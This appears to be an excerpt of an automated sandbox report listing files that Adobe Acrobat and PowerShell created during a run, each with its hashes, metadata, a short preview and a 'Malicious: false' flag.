SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJfbPtdPeUkwRe9:YvXKXOGNYpW7F/GDV8Ukee9
MD5:	9C01D39B7BFDECA4E06386C5865037BF
SHA1:	80A55888A4D658DBF97D9C108F755B9B3AC634C5
SHA-256:	4CDF659B19846CB97029C17D1F229F17B6AEE5B5473DA4A74CBD2D4AC9BF9014
SHA-512:	A07A70D76F2707AD32E802049C087B8DA72585C799746B49E9CFAF452A5567B531BDD7C62FBBDF4656E545314D640C8F6A790A3D6C998BE4F5122C2D059C5169
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.24991563046084
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJf21rPeUkwRe9:YvXKXOGNYpW7F/G+16Ukee9
MD5:	C70DAAF3E37EBFBCC3E2E3A5410AF8B4
SHA1:	E828D4B3D3A7BCEC780514D822B97FC0B8BFCD5E
SHA-256:	E70EEDC4E4143A427C206F57B028F1C81FF9A596A6AC1B68A1AD5853F9AFFF73
SHA-512:	8EBA4F29E5E9E64BC600BF1D211E4AEEEFA2EFDA14A1E4B3BF0143E298B0AFFE9713FEFE28E98E5256D41590059D84A344572624EDC1F949FB672CF92482AF56
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658606230550212
Encrypted:	false
SSDEEP:	24:Yv6Xai2amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSq:YvS4BgkDMUJUAh8cvMq
MD5:	5FF304312742A4AC0A501FCEAD62388C
SHA1:	3BFDC682E88ED9B3CC2D105CAEB33A62DBBA6D20
SHA-256:	2F1C027B97D34A4D9CB9408050C60A4551881B4781C2298D34D03DC18490D3EF
SHA-512:	DCC23989E8CB988AD59CEDCFAF434B104485A9824245DC0EFA545FBE2298FF6C405E2E2AE811F89BE0DDD91A515BD9C3223FAE5B3AC78D31A846EF028173D384
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.225823505130491
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJfshHHrPeUkwRe9:YvXKXOGNYpW7F/GUUUkee9
MD5:	6ADB6C8EEFFFC2D70D3132D7B1C40D69
SHA1:	A28CCB6D76887AA9792003D05DE9DDAE022C5E1E
SHA-256:	4E7D9E4535D4E09D4A91CDB5093323C23F44D93EB73CDEB0A86DD02223663012
SHA-512:	23E0FD148A61D60CABF15838E005AC387C752BDE339DC465A59EDFF21DAFD9F01FA033258027328D7D5B5AB757C945E079D58218DFBE0D94BBEC86DA181E34BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.232861720972936
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOMHXO7+FIbRI6XVW7+0YSz9KoAvJTqgFCrPeUkwRe9:YvXKXOGNYpW7F/GTq16Ukee9
MD5:	06F96AD0E0F16101B741464742AA7888
SHA1:	CB9DBFAF12EA737AFA8AD3836A90EE8960935BDF
SHA-256:	8C860B3DD222430D117D314D1F67E33F66CCBE6C4140D5E2922C1E5EEC3D06DC
SHA-512:	476F7923EC78D1CD78B335FB12641B2819BD922D522A2A0AE569E8113A479D88826DFBC8B7216DB8311F02663F91721B7605486C33A9B87A89B057014C772FF3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39378ba7-24bc-4991-ab0e-46b2430aab82","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736701289406,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136500242738883
Encrypted:	false
SSDEEP:	24:YYw11kau3ayCNRpPCjez9pF2YYIGB2UjZj0SYQBjo2Ruf2LSCCADq/NjUjK75ink:YYw1gQ/kiz9p8tNL+Pgu/NjUjK09s5
MD5:	BBC9837E7C6B450213212E0440DAF11D
SHA1:	54B7EB10662F7F459D9129AB212DC77087C150D1
SHA-256:	80E53F01FC7992093E679CBCB0376747C6C7F17F5ABE4A58C56E18A91B6E7CA1
SHA-512:	B991013A4033F6D9C7718459133576F96B3418304B1A7C99E4DFDFB3DB70AEEEECF7A448F0A972F6FBF5671C087D738317CAA846039EF25CD41DFC66C732BF2D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"280b474ea846ad86823ffc46844e3bb5","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736527723000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"cf157aac77146e003fb8c47a2d3c41f5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736527723000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f5a442e9767735b29465048a8a263f84","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736527723000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b5821003730c9117fd22020cd5dc7670","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736527723000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"4572691a9591bb1f4aba2f500a56a9f4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736527723000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2e2aa1c16a7a1534009da2c2807a7c41","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9833552545500069
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpUV4zJwtNBwtNbRZ6bRZ4rVF:TVl2GL7ms6ggOVpXzutYtp6PO
MD5:	6C229AF97A9905746C91141A459F00CB
SHA1:	8CA275A6772768C790F98A47BACF6370BDADA66B
SHA-256:	89780A491B3BC24FCB528E9CD9DEDF2064024DAFF12034D24256C8052BB11BFF
SHA-512:	A243F6321864A2359FE922C0B65BA1731EB95B2991306A337037A45FEB0B40CBD1DA508584D5B5921FC5197FD8A272A8928BE5F6E9FBEDDA059B88AC9DAADEF3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3375673752446537
Encrypted:	false
SSDEEP:	24:7+tEAD1RZKHs/Ds/SpUVPzJwtNBwtNbRZ6bRZWf1RZKAqLBx/XYKQvGJF7ursN:7MEGgOVpQzutYtp6PM5qll2GL7msN
MD5:	8959F812F91CB89758684E1876EC2BC1
SHA1:	34863DAE99CE8C2D7713DCBC4944B92C932F1E7A
SHA-256:	69DAB0254EC955D9F2D19EB90514C620936025B02A51ECFC76044B7E9AE8986F
SHA-512:	F04F0C71F4A3467694C2C9CEED6B0ED98EB3FA9C8448B640E3E994D601F8118D5849B1A987B2417374E86D3E4C1A6DABC00FE7C98917C54ABB5F36B07F7477FB
Malicious:	false
Preview:	.... .c.......T......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgK3VmksJbxiDmEbAF+xlgUFfoYyu:6a6TZ44ADEK3VXsJbxNbUQK
MD5:	9F46CE21764057308A8EB3BB3B0CDB01
SHA1:	FA7FB48056B9D1745C475E4A424E638B3C2F404F
SHA-256:	F73C0E1DF8E5D86CB650116833A54128FF446146E544AF58C0E225E06FF57026
SHA-512:	6AD7E27E750D4A425EC3E58D2A9C7A69114ED571F85AAE8DC26D463D4657DD360143475B5CA676DF7BC2E7B7C024FE6648C533340684847B84865AA712FBA890
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIc76b5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5217358039039093
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEnlH:Qw946cPbiOxDlbYnuRK+bDn9
MD5:	63BA1D8706453A3F1A2C3386F866139E
SHA1:	A87847A1E5575F120E301A1FF904A52E139D2F81
SHA-256:	96E7D870609212D51550206873B14ACC1ECECD3CEBAC3301FF24DF019D8C7150
SHA-512:	3A066C34CB4BB2B7A053527DF7ED750461B4FC2B52D5C6B15341082A3334209DE4A9216312ABCC44D8E0369EC94C19D572655B5353F3FD7EB30AA130B8AEF6A3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.4.8.:.4.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iqkvjbp4.5sx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rlttlpit.uk2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-48-37-169.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.367887990730985
Encrypted:	false
SSDEEP:	384:H/1uyMHPA/qYuH57RN2aVuVEVlY0HK7eWSegnYd/hNfDxS1mg2nWWhZLU7UpwOEZ:sFN4+x
MD5:	2F0F53C27F9BAD19D3F67EF0CDF0AF42
SHA1:	035ABD5E93BE3181A54C72CC028F690B1EEA8A2B
SHA-256:	77F3665FB8E6FD9353734E91D1973D6190E474FDC067E2F2213E74D3F91A751D
SHA-512:	1D3616061A16FA282F89A7B467095C9CF86792C7AAF885E352C04455BB755DB70B04174F62E5B477CFDA7301B20092D570CC28F2AB4D5A4D9996714E1C16C7DB
Malicious:	false
Preview:	SessionID=2f006638-694e-49c5-96b2-c73835b295ea.1736527717194 Timestamp=2025-01-10T11:48:37:194-0500 ThreadID=7500 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2f006638-694e-49c5-96b2-c73835b295ea.1736527717194 Timestamp=2025-01-10T11:48:37:195-0500 ThreadID=7500 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2f006638-694e-49c5-96b2-c73835b295ea.1736527717194 Timestamp=2025-01-10T11:48:37:195-0500 ThreadID=7500 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2f006638-694e-49c5-96b2-c73835b295ea.1736527717194 Timestamp=2025-01-10T11:48:37:195-0500 ThreadID=7500 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2f006638-694e-49c5-96b2-c73835b295ea.1736527717194 Timestamp=2025-01-10T11:48:37:196-0500 ThreadID=7500 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400749203017501
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb0:r0
MD5:	51352736B3917F8DA16E8E60D190B379
SHA1:	9F60706C9AA5089F51D596627EA0B73990A8029B
SHA-256:	1363B17FC3E3008789C9DAF8D902594CFB8157AC02E0973AC45DD5D8D2909A34
SHA-512:	17773323136F142C0780EBA49FD90F82723C521836EE5A1B127DBF65B8ECB5A08535D638F3DA35AF6DB54DAC5BB5960F4691129D11A40CA95352A84B77803D33
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\122c5db3-3300-42e2-beac-a30d3914413c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	E88AC53FE29BDF9402BCF11696989153
SHA1:	EC950FE1C9ABBFB3713A082FC43B451A7F1A708F
SHA-256:	EB1E6D431D432B488F5B17DD7806ED04260E4A37264F282367F02C466A98327C
SHA-512:	A08590B0F5C1F281046A9E9D03A481758991E8C9CA2A96B8F59644C182F9D6EC81E9834FEF46FB3B27074EE8605C5AED79AB30957AFCB7A2734AD5018CB5C502
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5f51f2d2-6bdd-49c5-bfc1-f72e9aa94cf6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\608ca42b-c33a-4d6e-a8a4-2132f0d4c88f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
